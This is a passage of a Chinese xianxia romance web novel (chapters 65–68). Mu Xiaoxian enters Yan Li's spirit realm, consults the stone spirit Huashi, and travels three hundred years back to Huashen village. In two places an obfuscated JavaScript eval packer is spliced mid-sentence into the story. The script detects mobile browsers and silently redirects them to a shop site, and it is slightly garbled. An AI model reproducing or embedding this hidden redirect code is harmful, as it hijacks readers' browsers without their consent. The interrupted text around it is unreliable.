只见小十一的瞳孔瑟缩了一下,余光向门口的方向瞟了一眼。 慕小闲迟疑了一下,渐渐凝起眉:“该不会是......” 小十一闭上眼睛点点头。 “可是三百年前他没有去过花神村。”慕小闲垂眸思忖道。须臾,她深吸了一口气,拍了拍小十一的肩旁:“我看你是在花神山受了刺激,这些天背书又没休息好,所以才会做噩梦。” 小十一慌忙睁开眼睛,拉住她:“你是不是没听明白,山中的灵体是很敏感的,如果这真是灵体在向我传达信息,那梦里还未发生的,就可能是未来将要发生的,我总觉得有些不对......我们还得再去看看。” 慕小闲坚持道:“回来前我和华尧已经检查过了,花神山没有魔气,也没有怪物。而且,晏离的身体根本不可能离开竹屋,你想多了。” 小十一的手从她的衣角滑下,一时也有些拿不准:“真的吗?” 慕小闲不以为然地点点头,将他按回塌上:“睡吧,明日还得继续背书呢。” 65. 第 65 章 小十一在慕小闲严格的监督下,终于在一个月内背完了所有的口诀,临走时顶着两个黑眼圈,态度没有一丝留恋。 他走后,慕小闲与晏离两人的生活又恢复了平常,只是多了一只宠物。 小黄瓜对慕小闲与晏离非常迷恋,导致山里的其他动物十分不满,觉得它过于谄媚、有辱斯文。于是趁着夜深人静,将它叫出来提点提点。 “你这样是不行的!她会吃了你!”野鸡“刷”地张开翅膀吓唬道。 小黄瓜一抖,傻傻地笑了:“叽!” “叽什么叽!我们才是鸡!”野鸡一脚踹在它身上。 小黄瓜身上亮泽的毛发塌下去一块。 野鸡哼哼两声,问:“你主人是什么人?为什么晏公子总是偷看她?” 小黄瓜歪了歪脑袋:“叽!漂亮姐姐!” “晏公子可不是肤浅之人!” “叽!漂亮哥哥!” 一旁的野鸡看不下去了:“头儿,它好像只会这两句话……” ...... 林中热闹,屋里安静得只剩下微弱的呼吸,两人睡得极沉,好像与外界断开了联系。 慕小闲睁开眼睛,四处看看,发现自己又出现在了叫做“灵境”的梦中。她坐靠在树下的荫蔽处,身上搭着一条薄薄的毯子。树叶晃动,树影斑驳,在她四周留下错落的光点。 她站起身,望着参天巨树莹莹光辉,不知所措地绕着树干缓慢地走了一圈。 她怎么会做同一个梦?晏离呢? 蜿蜒的树根深深扎进地里,慕小闲踩在凸起的树根上,迷茫地望着树冠。 身后传来清冷淡漠的声音:“醒了?” 慕小闲没来由地一慌,从盘结的树根上摇摇晃晃地跳下来,看着面前披着一头银丝的人。 他轻轻抬眼向她看来,清冷的目光陡然照进了她的心里,让她的心跳加快了几下。 她点点头,手里攥着毯子问:“这是你的吗?” “嗯。”他伸出修长的手......慕小闲眼中精光一现,欺身而上,一手捏住了晏离的脸颊。冰凉紧致的手感,不像是假的。 四目相对,一时沉默无声。 晏离敛了眉,沉声道:“放手。” 慕小闲也不知道哪里来的胆子,就是不想松手,口中还振振有词道:“这是我的梦!我想做什么就做什么!” 晏离虽然看上去清瘦,但脸颊还是有肉的,平日里面沉如水,此时捏着脸颊,倒有几分可爱。慕小闲露齿笑道:“捏起来还挺舒服哒。”仿佛在认真做测评与反馈。 晏离微微叹了口气,将她的手拉下来,在她疑惑的小眼神中,轻启薄唇:“这不是梦。” 慕小闲微张开嘴,瞳孔扩大...... “这里是我的神识。” 慕小闲嘴角一抽,倒吸一口冷气:“你说什么?” 晏离低头看着她,面色平静自然:“你闯入了我的神识。” 惊天霹雳!慕小闲头脑一片空白向后仰去,栽倒在草地上,视线中虚虚实实,大树的枝叶在清风中微摇,余光处莹光流转。 ......骗人的吧 不是梦不是梦不是梦...... 慕小闲转过身跪倒在地上,狠狠锤了几下,美色误人!美色误人!自己怎么这么冲动!心里一抽,又对晏离生出了些埋怨:不是梦你怎么不早说?为什么不动声色任由她非礼?你是不是......是不是...... 慕小闲暗暗握紧拳头:你是不是故意看我笑话? 她一口气卡在喉咙里,面无表情偷偷转了头向后看去,目光与那不染纤尘的白衣一触,立马回过头变成了一张哭脸。 慕小闲两眼一翻扑倒在地,战略性晕厥过去。 白衣随风而起,风中传来一声微乎其微的轻笑。他走到慕小闲身侧,缓缓蹲下,向她伸出手。 慕小闲一个鲤鱼打挺坐起来,一脸紧张:“你要做什么?” 晏离伸出的手一顿,喉头滚动,在慕小闲惊慌的目光中幽幽收回了手。 慕小闲紧紧盯着他落回的手:真的不是梦吗? 为什么他的头发是银色的?还有脚踝也是完好的。 真的是晏离本人吗? 清冷的声音落在她耳边:“在看什么?” 慕小闲抬起头,发觉她与晏离的距离好像有点过近,立马靠膝盖向后移了几米,僵硬地摇摇头。 晏离翩然起身,凝眉看着她:“怎么了?” 慕小闲爬起来:“没什么。”她低下头偷偷瞟了晏离几眼,鼓起勇气说:“对不起。我刚才以为是在做梦。”不对,做梦也不能对他做这种事吧?他理论上是你的师父啊! 慕小闲脸色白了几分,慌乱地解释道:“啊不,我是说,我刚才在......” 晏离眼中流露出笑意,刹那间流光四溢,仿佛冰川消融。慕小闲呆呆地看着他,心中巨震。她喃喃道:“上一次也不是梦吗?” 晏离在她探究的目光中,神色坦然,仿佛从未做过亏心事,云淡风轻地问:“上一次?” 看他的样子似乎从来没有过上一次。 慕小闲一阵恍惚,可是这副场景分明和之前她在梦里见过的一模一样,难道是先前的梦成真了? 她尴尬地呵呵两声,带着探究望向晏离那双平静的眼眸,又看不出有什么异样,颓然地咬了下唇。她甩甩脑袋,将杂念抛诸脑后,当做什么也没发生过。 “这是怎么回事?为什么我会进入你的神识?”神识中的灵境,是每个魂灵最深层、最私密的地方,她如何能进入晏离的灵境。 慕小闲往树下靠近了几步,抬头眼睛一眨不眨地望着宏伟壮观的巨木。这是长在晏离神识之中的树啊......他的神识有多强大才能生长出如此高大繁茂的树。 她微微侧了脸望向晏离,既然他的神识这么强大,他为什么会受伤? 他一袭白衣,清雅绝尘,好像纯净无暇的冰山雪莲,冰川之下深海之巅似乎隐藏着许多秘密。他散发着寒气,不让人靠近,是不想被发现吗? 慕小闲没有意识到自己的思绪在他身上停留的时间多了起来,她还以为只是单纯地被晏离清丽的容颜吸引了目光。 “是你通感增强的表现。”晏离的眸中倒映着漫天树叶与莹光。 慕小闲喃喃:“我的灵境也会长树吗?” 晏离微微颔首:“嗯......也许现在还是一颗种子。” 慕小闲轻轻抚上树干,一声清脆的叮铃在脑海中响起,让心绪变得平静。 原来这是真的。 晏离在她身旁缓缓伸出手,触上树干的瞬间,树干微微亮了一下,流光漫上树冠,随着伸向四面八方的枝叶流散,叮铃变得欢快起来。 “晏离,你平时会在这里修炼吗?”慕小闲抬头问。 “嗯。”晏离轻轻应了声。 白天在现实中修炼,夜里在灵境中修炼。真是个狠人! “坐下。” 慕小闲乖乖盘腿坐在草地上,闭上眼睛。 “打开你的神识。” 一股暖流上涌,她的感官更加灵敏起来。 “感觉到什么?”她的脑海中闯入了一个清冷的声音。 “......什么也没有。”慕小闲微微绷紧了身体,除了感官之外好像没有变化。 “将你的 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慕小闲头皮发麻:“是什么?” “是山里的灵体。”清冷的声音响起。 “竹隐山上也有灵体?” “嗯。竹隐山上的灵体尚在萌发,十分微弱,需要强大的神识才能感知。” 慕小闲喃喃:“花神山上的灵体都会说话了......灵体究竟是什么,为何花神山上的灵体那么强大?” “灵体是一种意识的表现,万物虽有灵,但觉醒的时间并不统一。若有特殊的机缘,便会顺利一些。” 原来在花神山时,并不是她的通感变得敏锐,而是那里的灵体已经强大到可以向她传输信息。 “我可以和灵体对话吗?”慕小闲问。 晏离道:“等你的神识足够强大,便能与灵体联结。不过......也需当心,灵体各有不同,并非所有的灵体都是善良的,他们有自己的个性。” 慕小闲点点头,突然想起了几日前小十一的噩梦。如果灵境是真的,那个梦会不会如小十一所说,并非是噩梦那么简单。 她迟疑了一瞬,问道:“师父,灵体会向我们传递信息吗?他们说的是真的吗?” 晏离道:“灵体能够超越时空感知到过去和未来的事情,一般不会主动向外界传递信息,除非将有威胁到他们生存的事发生。他们有自己的习性,传递信息的方式也有所不同,不过灵体能力有限,只能感知到自己周围的事情,真假不难判断。” 他顿了一下,问:“怎么了?” 慕小闲摇摇头:“没什么,我就是很好奇灵体的作用,如果灵体能为我所用,我便能知道发生过的事情。” “你想知道什么?”晏离问。 慕小闲眨眨眼睛:“我只是打个比方。” 听晏离解释后,她心中隐隐有些不安。那日小十一对梦境笃定的语气来看,他的猜测不无道理,灵体既然向他传递了花神山的信息,那么有些事情可能还没结束。 慕小闲目光忧虑地望着晏离的身影,小十一梦境中的那位仙人会是晏离吗?他为何会牵扯进花神山的事情? 黑暗中,慕小闲翻身坐起,借着屋外一点清冷的月光,透过门扉向外看去。一想到她进入了晏离的神识,与晏离又亲近了一层,心中就涌上了一股难以言表的欣喜。她躺下望着房梁,不自觉勾起唇角,攥紧了被子。 她带着这种愉悦的滋味睡意沉沉,就在她快要失去意识时,脑海中猛然闯入了一个画面:一个月黑风高的夜里,花神村静谧的街道逐渐被一个庞然大物的阴影吞噬...... 66. 第 66 章 云团掩着一轮淡月,夜风萧瑟,树叶沙沙作响。 一个人影鬼鬼祟祟地从门后探出头来,左顾右盼、蹑手蹑脚地走出竹屋,动作轻缓,神色紧张,像是做贼一般。 趴在竹屋屋檐下、尚在熟睡的小黄瓜突然抬起头,借着微乎其微的月色眼睛一瞪就要说话,慕小闲赶紧在口边比了个“嘘”。 “我只是去看看,很快就回来。”慕小闲用微弱得不能再弱的声音道。 小黄瓜不明所以地歪了歪头,眼睛却随着慕小闲出了院子,目送她离去。 未几,屋门再次被推开,夜色下泛着清冷莹光的身影缓缓走出门,瞥了眼又被惊醒的小黄瓜,道:“她走了?” 小黄瓜身上的绒毛竖起:“叽叽。” 晏离在昏暗中伫立了一会儿,对着暗淡的月色,如雾的眸子不知在思索什么。 “累死我了。”慕小闲一把推开花神庙的破木门,一屁股坐在神像前的跪垫上。屋外的光线随着她的身影挤进狭窄的屋内,打破了神庙沉寂多日的冷清气息。 她头顶星辰,赶了一晚上夜路,身体好像被掏空。 花神庙和一个月前一样陈设萧条,木门斜斜挂在框上,好像随时都要垮落。 案台上的香灰只剩下细碎的渣滓,地上落着几枚混乱的脚印,应当是他们之前留下的。 慕小闲顾不得干净,上半身倚靠在柱子上休息了半晌,随手翻开隐蔽处的跪垫,下面空空如也。 她挑起眉,提高了音调:“嘿,花莳还真把包子拿走了?” 话音刚落,她识海中突然出现了一丝怪异,像是感知到了某种情绪轻微的波动。她眸光一滞,四处张望片刻,神庙内稀松平常、安静无比,唯有远处的田野遥遥传来几声蛙鸣...... 刚才这里的气息有变化。 她警惕地站起身绕着花神像走了一圈,没有发现别的人。她抱起双臂靠在柱子上思索了一会儿,余光落在那尊花神像上,恍惚间觉得它好像动了一下...... 慕小闲拧眉疑惑地看着神像:不是吧? 半晌,她放下双臂,眼神犀利道:“出来吧!我知道你在。” 神庙中回荡着她的声音,一时间无人回应,很快又陷入了静默,仿佛是她突发癔症,说了不着边际的话。慕小闲却嗤笑一声,语气笃定地说道:“之前那么嚣张,现在躲着不敢出来了?” 须臾,神像周围突然起了一阵旋风,将案几上的尘灰卷散,几秒过后石像前渐渐浮现出一个模糊的身影。 随着身影飘出石像,她身上的线条与颜色逐渐变得清晰起来。她不再裹着那件拼接的麻布衣,而是穿着一件粉白色的长裙,裙上花团锦簇,色泽鲜亮无比。臂上缠绕着薄雾一般的飘带,随风而动,手中艳丽的花束散发着清甜的香气,衬得她的脸庞白净清透,眉眼之间少了先前的戾气。 她缓缓睁开眼睛,眸子如同山中之泉,明亮清澈。 慕小闲虽然已经想到了,但亲眼看到石头显灵心里还是有些震撼:“你是女孩子。” 原来如此,难怪她要装成脾气乖张的样子,不让别人靠近,就是不想被人发现自己的身份。 “花莳......花石,花神石像?”慕小闲带着揶揄看她:“这也太难猜了。” 花莳翻了个白眼,将手中的花随手插在案台上的破瓷瓶里,一改方才甜美的模样,语气又恢复了先前的顽劣,嘟囔着:“又没让你猜。” “石灵居然能化出人形。” 花莳撇撇嘴,走下案台抱起双臂:“灵体本来就能化形,不过没有生命的物体需要更长时间罢了。我早在山里就觉醒了,加上受人供奉数百年,自然能化成现在这副模样。” 先前慕小闲的通感没办法觉察出石灵,华尧大概发现了也不在意,小十一就更指望不上了。慕小闲上前打量花莳的外观,和普通人并无二致,谁能想到居然是从石头里蹦出来的? 花莳在她的观摩下,没好气地说:“你回来做什么?” 慕小闲脸上嬉闹的神情一收,犹豫着没有说话,让花莳的表情也微妙起来。花莳放下双臂,蹙眉道:“出什么事了?” “其实......”慕小闲定定地看着她,神色极是认真又严肃。 两人对视良久,慕小闲突然伸出手,一把掐住花莳的脸颊,在花莳抗议的眼神中:“这么可爱,果然是女孩子。” 花莳捂着脸,后退几步,骂道:“慕小闲!你说就说,别动手动脚!” 慕小闲耸耸肩,调侃道:“没办法,好不容易看到一个可可爱爱的女孩子,实在忍不住。” 花莳一僵,玫瑰色的红晕爬上她白皙的颈项,有些生硬地问:“你到底来做什么?山里那个疯子不是解决了吗?” 慕小闲缓缓坐下来:“你果然知道山里发生的事情。”忽而眼睛一亮,突然想到:“诶,当初元卓从山里逃出来是不是因为你?” 花莳头一撇:“什么元卓?不认识。” “嘴硬?” 花莳眼神闪烁:“他是来我花神庙祭拜时被掳走的,我怎么可能让那疯子欺负到我跟前?” “所以你救了他,还做好事不留名。”慕小闲别有深意地看着花神像,抿嘴笑道:“看来这个花神还是挺灵的呀。” 花莳撇开头:“别腻歪。” 慕小闲正色道:“我来确实与花神山有关。我听说花神山三百年前曾经出现过一个怪物,我想知道那个怪物的由来。” 花莳的神情怔了一下:“三百年前我还没有完整的自主意识,没有亲眼见过那天晚上发生的事情,不过我可以问问山里的灵体。”她看了眼慕小闲,转头说:“需要些时间。” 慕小闲心领神会,将跪垫拖到角落:“那我只能勉为其难补个觉了。” 长途跋涉疲惫至极,慕小闲次日晨时才转醒。一抹晨光从门缝中穿过,洒在神庙的石板地上,泛着清冷的光。她翻了个身对着花神像,细细琢磨着花莳的样子。 村民一开始将她打磨得温婉可人,寄托对神明的崇敬。谁能想到,她早在山里就有了自己的品性。 “醒了?”花莳从神像背后走出来,神色有些凝重。 慕小闲深吸一口气,坐起来:“打听到了什么?” 花莳抿了抿嘴,神情异常严肃:“灵体说他们没有见过那怪物,不知道怪物从何而来。但怪物出现那一晚,他们感应到花神山附近出现了一股魔气,不过就只有那一晚,第二日就消失不见了。” 慕小闲不自觉凝眉:“你们可以感知到魔气?” 花莳一脸无语:“我们灵体的感知力很强的好吗?你上次带来的那个男人是天神吧?他身上带着一股狠戾的煞气,生灵都不敢靠近,我不太喜欢。那个小兔崽子就更讨厌了,妖里妖气的还一股狐狸骚味。还有你身上......莫名其妙混了很多气息。” 三人的气息被批评得一文不值,慕小闲尴尬地笑笑,打断她:“好了,说正事。” 花莳接着说道:“这些年村民对花神山多有顾忌,反而让花神山的生灵安生了许多年,直到最近那疯子将山里搅得不得安宁。自那疯子死后,魔气也就跟着消失了,但就在几天前他们又感应到了,而且是一股比先前任何一次感应到的,都要更加强烈的魔气。他们隐隐约约觉得有大事要发生了。” 慕小闲咬了下嘴唇,抱臂认真思忖片刻:“难道山里还藏着别的魔族?” 花莳也想到了这一点:“但山里的灵体都说没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137730|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有见过。” 慕小闲:“如果他们的感知没有出错,那么对方就是个强大到可以隐藏自己踪迹的魔族。” 花莳神色认真地补充道:“也有可能有人趁乱利用魔气伪装自己。” 慕小闲微微颔首:“这我倒是没想过。这样情况就更复杂了。” 花莳轻轻叹了口气,神色却不见放松地锁在慕小闲身上,随着时间推移,越来越复杂起来。 慕小闲被她看的毛骨悚然,瞥了她一眼:“你有什么想法可以直说。” 花莳顿了一下,极是认真地说:“当年的怪物会不会和魔族有关?” 慕小闲凝重道:“如果那个袭击了花神村的怪物和魔族有关系,那么花神村很有可能在几百年前就被魔族盯上了。阿寐只是一个幌子,还有魔族为了其他目的选择了花神山。” 她望向远处的田野背后安宁的花神山:“当年到底发生了什么?” 花莳随着她的目光望向远处,眸光一颤,拧眉道:“当时我还没显化,我只记得那天晚上特别阴森,我很害怕,一直躲在石像里面。第二天外面吵闹极了,哭骂声源源不断,我不知道发生了什么。后来香客越来越少,我才从他们只言片语中得知了这件事情。” 事情比想象的还要复杂,慕小闲心生畏惧,但值得庆幸的是:“事情过了这么久也没办法调查了,我看还是去问问花神村的村民。” 花莳抬起头,眼神闪烁道:“其实,也不是没有办法。” 慕小闲:? “灵体能超越时空回溯到过去,但短期内每个人只有一次机会。”花莳说。 “自那件事发生后过去了三百年来年,花神村的村民早就换了一批,现在流传的故事未必是真的。如果你能亲眼看看发生过什么,或许能找出现在这些异象的原因。” 花莳凝重道:“灵体本身是无法参与回溯的。不过你可以放心,你回去后活动范围只有花神村附近,过去的事情无法伤害你,你也改变不了已经发生的事情。你只需要待上几日,将整件事情的来龙去脉摸清楚即可。” 要在花神山找线索犹如大海捞针,回到过去也许能找到些蛛丝马迹。 慕小闲思忖片刻,自己来花神山就是因为害怕小十一梦里的画面会成真。如果是过去发生的事也罢了,如果那是个预知梦呢? 只要梦境中的那个仙人有万分之一的可能是晏离,她就不能放任不管。就算偷偷跑出来,事后晏离责怪她驱赶她,她也认了,她一点也不想晏离有危险。 慕小闲再三确认道:“三百年前的事真的不会对我产生影响?” 花莳点点头:“事情既然已经成了定局,谁也无法改变。你不会有事的,只有十日,不论你有没有发现,那怪物出现之后你就会回来。” 慕小闲盘坐在神庙中央,感受到山里纯净的灵气成片飘来,花莳身上也有一股同样的气息围绕在她身旁,白光渐渐增强,吞噬了她的躯体。 随着花莳一声:“乾坤扭转,万物回溯。”她的身体在光芒中褪去。 在消失的刹那,传来她的声音:“明明是一个石灵,却被人供奉成神,想要帮助他们却做不到,很辛苦吧。” 光芒褪去,花莳深吸一口气垂眸转身竞走出神庙,几步冲进了田野里,一脚踢开道旁的石子,对着青天白日喘了几口气。末了,轻声叹出:“真是的,多管闲事。” 一行飞鸟从天空掠过,泛着涟漪的塘水倒映着重重绿意。 花莳肩上一松,转身往回走,未走几步,被一堵白色的墙挡住了去路。 “她去哪儿了?”冰冷的声线裹挟着一股压迫感袭来,花莳顿时警铃大作,后退两步,声音带着一丝颤抖问:“你......是什么人?” 67. 第 67 章 三百年前。 花神村。 香火袅袅,案台上的铜制香炉里插满了暗红的香柱。 石像焕然一新,在屋外透亮的光线投射下,细碎的晶体闪闪发光。三只崭新的跪垫整齐排列在堂前,跪拜的人络绎不绝。 神庙的红柱子擦得锃亮,角落里也干净得一尘不染。敞开的木门钉得整齐又严实,琉璃瓦屋檐光洁鲜艳。 屋里云雾缭绕,几位跪拜的老人闭着眼双手合十,嘴唇喏动祈祷着。 慕小闲逆着人流踏出神庙,与正向而来的人撞了个满怀。 那人一副文弱书生模样,比她高半头,一手拿着几根香柱,一手提着几只果子,约莫是来给花神上供。被慕小闲一撞,身体僵硬,双手不知该往哪儿放。 “姑......姑娘,你还好吧?” 慕小闲局促地笑了一下:“没事儿。”侧身想越过他,赶紧从人群中走出去。 “书生”挡在她面前分毫未动,迟疑了一会儿:“姑娘,你不是村里人。” 慕小闲心里一紧,就听他接着问:“你是来专门来神庙上香的吗?” 她不想惹人怀疑,于是顺着他的话说:“是啊。听说花神像挺灵的?” “书生”一脸宽慰,儒雅地点了点头:“是啊,花神保佑我们数百年生活安康、五谷丰熟,是我们最尊敬的神明。” 生活安康就算了,还能保佑丰收?你们确定是花莳做的? “书生”说:“我名唤元叙,姑娘怎么称呼?” 慕小闲:“我叫慕小闲。” “姑娘祭拜过了吗?” 慕小闲摇摇头。 元叙扫了一眼她空空如也的双手,了然道:“姑娘忘带香柱了吗?”他从手中抽出几根,递过来:“姑娘不介意的话,可以用我的。” 见慕小闲怔愣的神情,元叙安慰道:“没关系,花神不会介意的。” 慕小闲跟着元叙再次走进神庙,想着相逢即是缘,不如多聊几句看能不能套出点什么。 元叙驾轻就熟地上前在案上摆好祭品,点了香柱,撩起衣摆跪在垫子上,闭上眼睛虔诚地祭拜。 慕小闲心不在焉地就着香炉的火点了香柱,走到垫子后,抬眼看了下花神像...... 等等,为什么她要拜花莳? 慕小闲眯了眯眼,花神像仿佛带着一丝耐人寻味的神色望着她。花莳现在应该还没成形,哪里会露出这样的神情,但她就是觉得不舒服,于是趁没人注意,草草将香柱插在了香炉中。 让她跪拜花莳?不可能,这辈子都不可能。 元叙与慕小闲跨出神庙,一同走在通往村里的小道上。村口那棵橡树抽了新芽,翠绿清新,顶着未经裁剪过的树冠像个初出茅庐的愣头小子。 “姑娘第一次来花神村吗?” 慕小闲点点头:“是啊。久闻盛名,今天路过正好来看看。” 元叙:“我听闻外面是神仙的世界,姑娘是仙子吗?”慕小闲刚要否认,元叙微微一笑:“姑娘这样好看,一定是仙子。” 慕小闲心里咯噔一下。 她摇摇头:“你看这里有花神村,外面一样也有树神村、鸟神村,我就是从隔壁村来的。你不能因为我长得好看就胡乱吹嘘我,这样不好。” 元叙唇边的笑容扩大,和煦的清风吹拂着他的刘海,一双清澈的眼膜诚恳地看着她的眼睛:“我说的是真心话。我从未想过仙子的模样,看到姑娘心中便有了。” 约莫是她对自己的长相心里有数,听了只觉得不真实,面上露出难为情的样子:“长成这样我也一直很苦恼呢。” 两人背过身去,不约而同偷笑起来。 三百年前的花神村,长街青石板路还未铺张,牛车拉着水桶从各家门前经过,为村民带来生活的水源。 几近午时,炎炎日头集市上的人烟渐渐稀少,小摊贩陆续收了摊,只有几家食铺的伙计还百无聊赖地坐在摊边时不时招呼一下。 “慕姑娘第一次来花神村,还没尝过村里的小食吧?”元叙看了一眼街边的食铺。 慕小闲四处扫了一圈,发现都是吃过的,摆摆手:“不用,我不饿,真的不用,诶......你太客气了。” 元叙不顾她的说辞,径直走向其中一个摊子,须臾用油纸捧着两只包子走过来:“姑娘先坐一下,我去打点清凉的糖水。” 慕小闲受宠若惊地接过包子,感叹道长得好看还真是方便啊。 她坐在摊子上撕开柔软的包子皮,晶莹的汤汁带着肉香从缝隙中漫出来,她赶紧用口去接......差点被烫死! 灼烧感一路烫进心里,慕小闲皱眉吐着舌头,呼哧呼哧四处找水。 一盏茶杯放在她眼前。 她来不及说谢谢,先干了这杯冷茶,长舒一口气。待她放下茶杯,抬眼看清桌对面坐的人时,心中陡然一惊。 为什么他会在这里? 为什么他不能在这里? 两种对立的观点打了一会儿架,全被慕小闲抛诸脑后。 “你好......”慕小闲眨了眨眼睛,试探地说。 一阵风吹拂起他高高竖起长发与白色的衣摆,他带着银白色的面具,身姿笔挺地坐在桌边,周身仿佛被冻住了一般。 慕小闲没来由升起一阵寒意,手上的包子像被冻成了冰坨坨。 白衣曾经与她在春桃宴的会场匆匆撞见过一次,然后从北溟海极将她救了出来,躲过了天兵天将的追捕。但在三百年前,按道理,他应该不认识她。 慕小闲眼中蓦地闪过一道精光,难道当初他出手相助是因为这一次在三百年前花神村的相遇吗?对啊,不然只见过一面为什么救她?因为他们之间曾经发生过这样的因缘际会。 她转念一想,不对,她虽然暂时回到了三百年前,但事实上三百年前的花神村并没有出现过她这样一个人,就算白衣在三百年前的花神村,他也不可能遇见她。 她一时想不明白其中的逻辑,但不妨碍她暗暗下了决心要和白衣搞好关系! “你......”白衣清润的声线重出江湖。 慕小闲满怀期待地看着他...... “为何吃陌生人的东西?” 慕小闲撕了一小团包子皮纳入口中,思想挣扎了一会儿,狡辩道:“我们刚才互相认识了,就不算是陌生人。”抬眸,眼底带着一点得意之色:“可能我命里多贵人吧,不管走到哪儿都有人管饭。” 她感觉白衣隐隐有些不悦,立马殷勤地说:“小哥哥你饿不饿?我还有一只包子。” 一阵寒风刮过,街上落叶哗哗作响,从白衣的脚边卷过。他声音冷了几分:“小哥哥?” 慕小闲的笑容僵在嘴边,眼珠一转,目光落在他胸口迟疑了一下:不是小哥哥?难道是小姐姐? 不对,她上次在海水中抱过他,那手感...... 虽然太久不记得了,不过应该不是女孩子。难道他也和花莳一样,是什么精怪变的? 慕小闲舔了下唇,低声试探道:“敢问少侠如何称呼?” 周围温度骤降 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137731|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在慕小闲的怔愣中,白衣微微倾身向前,面具下的眼神变得凌然:“你不记得?” 慕小闲身体不自觉往后挪了挪,倒吸一口冷气。记得什么?三百年前,她还不知道在凡间哪个角落轮回,是不是人都不知道,何来记得? 她被这个时间轴搞得大脑混乱,甚至试图找出白衣曾下凡与她的哪一前世见过的可行性。 慕小闲纠结道:“兄台,这件事情很复杂,你可能无法理解。但是现在你看到的我可能不是真的我.......” 白衣一顿,身体微微向后:“不是你。” 慕小闲低头点了点,眼眸上挑:“你之前见过我吗?” 白衣无奈道:“春桃宴后台,不是你?北溟海极,不是你?” 慕小闲幽幽摇了摇头:“当然不......等等?”她瞪大了眼睛:“你说什么?” 她眨了眨眼,尴尬地笑了几声:“那也可能是我...... “可是你怎么会在这里?你也穿越了?” 白衣刚要开口,被远处走来的元叙打断:“慕姑娘,尝尝我们这儿的桂花甜酒。”元叙端着个白瓷碗放在桌上,抬眼看到裹得严严实实的白衣:“这位是?” 白衣从未表露过身份,慕小闲本想替他挡过去,但又对他的身份委实好奇,一双眼睛好奇地望着他,等着他回答。 白衣朝元叙颔首:“白衣。” “白衣公子。”元叙作了个揖。 慕小闲轻笑了一声,这名字一听就是胡诌的。 “你们认识?”元叙的目光在他们二人之间逡巡。 这一次慕小闲主动应声帮衬道:“哈哈他是我表哥,我偷跑出来的,他来抓我回去。” 白衣淡淡地看了她一眼,没有反驳她的话。 “是了,慕姑娘如花似玉,一个人在外太危险。”元叙说着,摸了摸胳膊,莫名觉得身上有些冷。 “你要回去了吗?” 慕小闲咬了一口手中冷掉的包子:“没事。我已经说服他了,我们打算在外边多待几日再回去。” 元叙垂眸说:“那好那好。”半晌,他抬头眼神诚恳地说:“如果二位不介意,可以住我家里。我家虽然简陋,但是还有一间空房。” 慕小闲看了一眼白衣,又撕了块包子塞进嘴里,冲他一笑:“行呀。” 白吃白住大军浩浩汤汤走进元叙山脚下的偏僻院子,家里果真如他所说陈设简陋,但外面有一块种满蔬果的田地。藤架上爬着明艳的丝瓜花,沾了几点淤泥的青翠叶子下,有几只埋在土里香肩半露的白萝卜。 “慕姑娘要不要试试?” “可以吗?”慕小闲指了指地里的萝卜,获得元叙同意后,蹲下拽住萝卜顶端的嫩绿色茎叶往后坐。萝卜纹丝不动,茎叶被她捏成了一团。 元叙笑了笑,拿田边搁置的小铲将萝卜周围的土松了松:“慕姑娘再试试。” 慕小闲用力一拔,这次果真将白白胖胖的萝卜拔了出来。 她站在瓜田里遥遥望向背后云雾缭绕的高山,白衣同她一同望去,眼里似乎在分辨什么。 元叙点点头:“那里是花神住的地方。” 慕小闲转头问:“你住在田间,远离了村庄,晚上不害怕?” 元叙摇摇头:“我住在这里很多年,早就习惯了。” 她眼中冒出好奇之色:“山里晚上有没有奇怪的声音?” 元叙淡笑了一下:“花神山从未出现过怪事,花神娘娘会保护我们的。” 看来花神村还未出现异常。 68. 第 68 章 天色渐晚,慵懒的橘红色云海映衬着一望无际的田野与山下孤零零的农家小院。三五只鸟儿略过长空,远处飘落几声归啼。 “村子里的人晚上一般都会做些什么?”慕小闲渺小的身影站在夕阳下,望着远处静默的村庄问。 元叙答道:“傍晚时分,街坊之间会出来聊天串门,一般吃过晚饭便留在家中准备休息了。也有些不擅交际的村民,独来独往,晚上就安守在家中,哪儿也不去。” 元叙的屋子坐落在田间小道尽头,被几亩田地环绕,里面只有巴掌大,几乎可以用家徒四壁形容,两个房间一览无余。 慕小闲的目光在空荡荡的屋里转了个圈儿,问:“你一个人住?” “嗯。爹娘过世的早,我也还没娶亲。”元叙轻笑了一下,仿佛在说平常之事,眼里泛着柔和的光:“我已经习惯了。” “慕姑娘应该许了人家吧。”元叙随意地问。 慕小闲一愣:“我还没考虑这个。” 元叙转头去问白衣:“慕姑娘一定有许多追求者吧。” 白衣越过元叙看向慕小闲,她焦急地冲他打手势。不知道他是不是误会了她的意思,白衣淡漠地回答:“是。” 慕小闲:?你们哪里来的错觉? 元叙抱了床被子走进一个小房间:“慕姑娘今日就睡在这里吧,我与白兄在隔壁挤一挤。” 白兄?慕小闲疑惑地看了白衣一眼,他不像是那种“能和别人挤一挤”的人。 出乎意料的是,白衣没有拒绝。 夜深人静,山里传来阵阵蝉鸣。浓云漫卷,从巍峨高山缓缓飘过。 漆黑一片的屋子里安静得好像落针都能听见。 慕小闲突然掀被坐起来,两只眼睛在暗处眨了眨,仔细分辨了一会儿隔壁的声音,确定元叙和白衣都已经睡下。 